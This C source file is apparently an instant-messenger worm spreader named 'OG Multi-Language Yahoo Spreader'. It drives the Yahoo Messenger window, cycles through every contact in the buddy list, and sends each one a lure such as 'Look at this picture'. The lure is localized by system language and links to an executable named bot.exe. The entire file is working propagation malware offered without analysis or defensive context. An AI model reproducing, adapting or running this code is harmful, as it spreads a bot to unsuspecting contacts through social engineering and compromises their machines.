#include #include #include /* By: OG Multi-Language Yahoo Spreader. Credits To: kurumi */ char *szWebLink = "http://www.google.com/bot.exe"; char *GetLanguage(char *szBuffer, unsigned int nSize) { switch (GetSystemDefaultLangID()) { case 0x040c: /* French */ _snprintf(szBuffer, nSize, "regarder cette image %s", szWebLink); break; case 0x0407: /* German */ _snprintf(szBuffer, nSize, "Schauen Sie dieses Bild an %s", szWebLink); break; case 0x040A: /* Spanish */ _snprintf(szBuffer, nSize, "mire este retrato %s", szWebLink); break; case 0x0409: /* English */ _snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink); break; case 0x0410: /* Italian */ _snprintf(szBuffer, nSize, "guardare quest'immagine %s", szWebLink); break; default: /* Default English */ _snprintf(szBuffer, nSize, "Look at this picture %s", szWebLink); break; } return (szBuffer); } bool SendMessageToYahoo(char *szMessage) { HWND hwndYahooWindow, hwndClass; HWND hwndMessage, hwndButton; if (!(hwndYahooWindow = FindWindow("YSearchMenuWndClass", NULL))) { return false; } if (IsWindow(hwndYahooWindow)) { SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0); if (!(hwndClass = FindWindowEx(hwndYahooWindow, 0, "IMClass", NULL))) { return false; } if (IsWindow(hwndClass)) { if (!(hwndMessage = FindWindowEx(hwndClass, 0, "YIMInputWindow", NULL))) { return false; } SendMessage(hwndMessage, WM_SETTEXT, 0, (LPARAM)szMessage); Sleep(100); } if (IsWindow(hwndClass)) { if (!(hwndButton = FindWindowEx(hwndClass, 0, "Button", "&Send"))) { return false; } SendMessage(hwndButton, WM_LBUTTONDOWN, 0, 0); SendMessage(hwndButton, WM_LBUTTONUP, 0, 0); Sleep(50); } } if (IsWindow(hwndYahooWindow)) { SendMessage(hwndYahooWindow, WM_CLOSE, 0, 0); return true; } return false; } unsigned int Yahoo(char *szMessage) { HWND hwndYahooWindow, hwndWindow; if (!(hwndYahooWindow = FindWindow("YahooBuddyMain", NULL))) { return 0; } if (IsWindow(hwndYahooWindow)) { SendMessage(hwndYahooWindow, WM_COMMAND, 32891, 0); if (!(hwndWindow = FindWindowEx(hwndYahooWindow, 0, "YTopWindow", NULL))) { return 0; } if (IsWindow(hwndWindow)) { hwndWindow = FindWindowEx(hwndWindow, 0, "YTabListManager", NULL); hwndWindow = FindWindowEx(hwndWindow, 0, "ATL:0084FD68", NULL); hwndWindow = FindWindowEx(hwndWindow, 0, "SysListView32", NULL); if (!hwndWindow) { return 0; } if (IsWindow(hwndWindow)) { for (int i = ListView_GetSelectionMark(hwndWindow); i >= 0; --i) { SendMessage(hwndWindow, WM_KEYDOWN, VK_UP, 0); SendMessage(hwndWindow, WM_KEYUP, VK_UP, 0); } for ( i = 0; i <= ListView_GetItemCount(hwndWindow); ++i ) { SendMessage(hwndWindow, WM_KEYDOWN, VK_DOWN, 0); SendMessage(hwndWindow, WM_KEYUP, VK_DOWN, 0); SendMessage(hwndWindow, WM_KEYDOWN, VK_RETURN, 0); SendMessage(hwndWindow, WM_KEYUP, VK_RETURN, 0); SendMessageToYahoo(szMessage); } } } } return 0; } int main() { char szMessage[256]; if (GetLanguage(szMessage, sizeof(szMessage) - 1)) Yahoo(szMessage); return 0; }